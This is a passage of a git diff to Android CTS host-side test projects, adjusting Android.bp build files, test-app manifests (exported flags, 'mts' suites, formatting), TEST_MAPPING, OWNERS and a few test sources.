+        <receiver android:name=".feature_b.FeatureBReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+                <action android:name="com.android.cts.classloadersplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/classloaders/useslibrary/Android.bp b/hostsidetests/classloaders/useslibrary/Android.bp
index c9edd49..10c1986 100644
--- a/hostsidetests/classloaders/useslibrary/Android.bp
+++ b/hostsidetests/classloaders/useslibrary/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsUsesLibraryHostTestCases",
     defaults: [ "cts_defaults" ],
diff --git a/hostsidetests/classloaders/useslibrary/app/Android.bp b/hostsidetests/classloaders/useslibrary/app/Android.bp
index 9c9af63..eedde6f 100644
--- a/hostsidetests/classloaders/useslibrary/app/Android.bp
+++ b/hostsidetests/classloaders/useslibrary/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUsesLibraryApp",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/compilation/Android.bp b/hostsidetests/compilation/Android.bp
index 6f4441f..636dfc8 100644
--- a/hostsidetests/compilation/Android.bp
+++ b/hostsidetests/compilation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsCompilationTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/compilation/app/Android.bp b/hostsidetests/compilation/app/Android.bp
index debca31..d41b5bc 100644
--- a/hostsidetests/compilation/app/Android.bp
+++ b/hostsidetests/compilation/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCompilationApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/compilation/app/AndroidManifest.xml b/hostsidetests/compilation/app/AndroidManifest.xml
index cca9341..a27edfc 100755
--- a/hostsidetests/compilation/app/AndroidManifest.xml
+++ b/hostsidetests/compilation/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.compilation.cts">
-    <uses-sdk android:minSdkVersion="23" />
+     package="android.compilation.cts">
+    <uses-sdk android:minSdkVersion="23"/>
     <application>
-        <activity android:name=".CompilationTargetActivity" >
+        <activity android:name=".CompilationTargetActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp
index f6adc2e..3cd3688 100644
--- a/hostsidetests/content/Android.bp
+++ b/hostsidetests/content/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSyncContentHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
index 0e473f2..3c7e2c7 100644
--- a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
@@ -18,7 +18,6 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsNotLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
@@ -414,7 +413,6 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_reportsMetric()
             throws Exception {
-        assumeTrue(isStatsdEnabled(getDevice()));
         assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */ true);
@@ -455,7 +453,6 @@
     @Test
     public void testBindServiceAsUser_differentProfileGroup_doesNotReportMetric()
             throws Exception {
-        assumeTrue(isStatsdEnabled(getDevice()));
         int userInDifferentProfileGroup = createUser();
         getDevice().startUser(userInDifferentProfileGroup, /* waitFlag= */ true);
         mTestArgs.put("testUser", Integer.toString(userInDifferentProfileGroup));
@@ -492,8 +489,6 @@
     @Test
     public void testBindServiceAsUser_sameUser_doesNotReportMetric()
             throws Exception {
-        assumeTrue(isStatsdEnabled(getDevice()));
-
         mTestArgs.put("testUser", Integer.toString(mParentUserId));
 
         assertMetricsNotLogged(getDevice(), () -> {
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
index 241c47d..dac2663 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContextCrossProfileApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
index d9ed213..d63f6cd 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContextCrossProfileTestServiceApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
index 43a2758..82c3696 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSyncInvalidAccountAuthorityTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
index ed2d8dc..952829f 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -15,30 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.content.sync.cts">
+     package="android.content.sync.cts">
 
     <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <service
-            android:name=".StubAuthenticator">
+        <uses-library android:name="android.test.runner"/>
+        <service android:name=".StubAuthenticator"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <provider
-            android:name=".StubProvider"
-            android:authorities="android.content.sync.cts.authority">
+        <provider android:name=".StubProvider"
+             android:authorities="android.content.sync.cts.authority">
         </provider>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.content.sync.cts" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.content.sync.cts"/>
 </manifest>
diff --git a/hostsidetests/cpptools/Android.bp b/hostsidetests/cpptools/Android.bp
index 90bf3a7..23887e2 100644
--- a/hostsidetests/cpptools/Android.bp
+++ b/hostsidetests/cpptools/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsCppToolsTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/cpptools/TEST_MAPPING b/hostsidetests/cpptools/TEST_MAPPING
new file mode 100644
index 0000000..3707f3b
--- /dev/null
+++ b/hostsidetests/cpptools/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCppToolsTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
index 87507f4..8562d3a 100644
--- a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
+++ b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCppToolsApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml b/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
index 6d4681e..aae67b7 100755
--- a/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
+++ b/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
@@ -16,17 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cpptools.app">
+     package="android.cpptools.app">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application android:debuggable="true">
-        <activity android:name=".CppToolsDeviceActivity" >
+        <activity android:name=".CppToolsDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
index 94ef244..8938068 100644
--- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "connector",
     srcs: ["connector.cpp"],
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
index b84ccfe..d4399f9 100644
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDomainSocket",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml b/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
index b37f769..be602e9 100644
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
@@ -16,14 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.domainsocketapp">
+     package="com.android.cts.domainsocketapp">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application android:debuggable="true">
-        <activity android:name=".DomainSocketActivity" >
+        <activity android:name=".DomainSocketActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/deviceidle/Android.bp b/hostsidetests/deviceidle/Android.bp
index 64713d1..d22db35 100644
--- a/hostsidetests/deviceidle/Android.bp
+++ b/hostsidetests/deviceidle/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsDeviceIdleHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index 447b447..7ecffc4 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsDevicePolicyManagerTestCases",
     defaults: ["cts_defaults"],
@@ -25,7 +21,7 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
-	"compatibility-host-util-axt",
+        "compatibility-host-util-axt",
         "guava",
         "truth-prebuilt",
     ],
@@ -34,6 +30,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
index f51c943..b37176e 100644
--- a/hostsidetests/devicepolicy/OWNERS
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -4,3 +4,4 @@
 rubinxu@google.com
 sandness@google.com
 pgrafov@google.com
+scottjonathan@google.com
diff --git a/hostsidetests/devicepolicy/TEST_MAPPING b/hostsidetests/devicepolicy/TEST_MAPPING
index 3d86cf3..d68a863 100644
--- a/hostsidetests/devicepolicy/TEST_MAPPING
+++ b/hostsidetests/devicepolicy/TEST_MAPPING
@@ -1,13 +1,26 @@
 {
-  "presubmit-devicepolicy": [
+  "presubmit": [
     {
       "name": "CtsDevicePolicyManagerTestCases",
       "options": [
         {
-          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
+          "include-annotation": "com.android.cts.devicepolicy.annotations.PermissionsTest"
         },
         {
-          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
+        }
+      ]
+    }
+  ],
+  "presubmit": [
+    {
+      "name": "CtsDevicePolicyManagerTestCases",
+      "options": [
+        {
+          "include-annotation": "com.android.cts.devicepolicy.annotations.LockSettingsTest"
+        },
+        {
+          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
         }
       ]
     }
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
index 3970cfe..9f2979d 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccountCheckTestOnlyOwnerApp",
     defaults: ["cts_defaults"],
@@ -23,6 +19,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwner/res"],
@@ -43,6 +40,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["NonTestOnlyOwner/res"],
@@ -63,6 +61,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwnerUpdate/res"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
index 98bf41f..0344327 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccountCheckAuthApp",
     defaults: ["cts_defaults"],
@@ -23,6 +19,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml
index 6b130b5..4f8f41a 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml
@@ -16,22 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.accountcheck.nontestonly"
-    android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
+     package="com.android.cts.devicepolicy.accountcheck.nontestonly"
+     android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
 
     <application android:testOnly="false">
-        <receiver
-            android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
     <!--
-      Don't need instrumentation. All the three device side apps have the same UID, so we're able
-      to run all tests from the Auth package.
-    -->
+              Don't need instrumentation. All the three device side apps have the same UID, so we're able
+              to run all tests from the Auth package.
+            -->
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml
index a9673e9..ba829b4 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml
@@ -16,22 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.accountcheck.testonly"
-    android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
+     package="com.android.cts.devicepolicy.accountcheck.testonly"
+     android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
 
     <application android:testOnly="true">
-        <receiver
-            android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
     <!--
-      Don't need instrumentation. All the three device side apps have the same UID, so we're able
-      to run all tests from the Auth package.
-    -->
+              Don't need instrumentation. All the three device side apps have the same UID, so we're able
+              to run all tests from the Auth package.
+            -->
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml
index cd186e9..e874e35 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml
@@ -14,26 +14,25 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-
 <!-- This package is exactly same as TestOnlyOwner, except for testOnly=false -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.accountcheck.testonly"
-    android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
+     package="com.android.cts.devicepolicy.accountcheck.testonly"
+     android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
 
     <application android:testOnly="false">
-        <receiver
-            android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
     <!--
-      Don't need instrumentation. All the three device side apps have the same UID, so we're able
-      to run all tests from the Auth package.
-    -->
+              Don't need instrumentation. All the three device side apps have the same UID, so we're able
+              to run all tests from the Auth package.
+            -->
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
index fb5a3b8..d354cd1 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccountCheckAuthAppTester",
     defaults: ["cts_defaults"],
@@ -23,6 +19,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index 02017f6..0804cc5 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccountManagementDevicePolicyApp",
     defaults: ["cts_defaults"],
@@ -24,6 +20,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
@@ -32,6 +29,9 @@
         "ub-uiautomator",
         "androidx.test.rules",
     ],
-    libs: ["android.test.base"],
-    sdk_version: "current",
+
+    libs: [
+        "android.test.base",
+        "android.test.runner",],
+    sdk_version: "test_current",
 }
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
index 69945a6..7ee9acb 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
@@ -18,14 +18,9 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AccountManagerFuture;
-import android.accounts.AuthenticatorException;
-import android.accounts.OperationCanceledException;
 import android.content.Context;
-import android.os.Bundle;
 import android.test.AndroidTestCase;
-
-import java.io.IOException;
+import android.util.Log;
 
 /**
  * Functionality tests for
@@ -37,8 +32,10 @@
  */
 public class AccountUtilsTest extends AndroidTestCase {
 
+    private static final String TAG = AccountUtilsTest.class.getSimpleName();
+
     // Account type for MockAccountAuthenticator
-    private final static Account ACCOUNT = new Account("user0",
+    private static final Account ACCOUNT = new Account("testUser",
             MockAccountAuthenticator.ACCOUNT_TYPE);
 
     private AccountManager mAccountManager;
@@ -46,6 +43,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        Log.d(TAG, "setUp(): running on user " + mContext.getUserId());
         mAccountManager = (AccountManager) mContext.getSystemService(Context.ACCOUNT_SERVICE);
     }
 
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
index a98f261..9fa6e00 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppRestrictionsTargetApp",
     defaults: ["cts_defaults"],
@@ -27,5 +23,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
index c6b32aa..f65f93c 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.bp
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicyAssistApp",
     defaults: ["cts_defaults"],
@@ -26,6 +22,7 @@
         "general-tests",
         "cts",
         "general-tests",
+        "mts",
     ],
     static_libs: [
         "androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
index 9dd7e2f..44b5a0a 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicyAutofillApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
index 711f984..da14401 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
@@ -16,23 +16,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.autofillapp" >
+     package="com.android.cts.devicepolicy.autofillapp">
 
     <application>
-        <activity android:name=".SimpleActivity" android:exported="true">
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name=".SimpleAutofillService"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".SimpleAutofillService"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
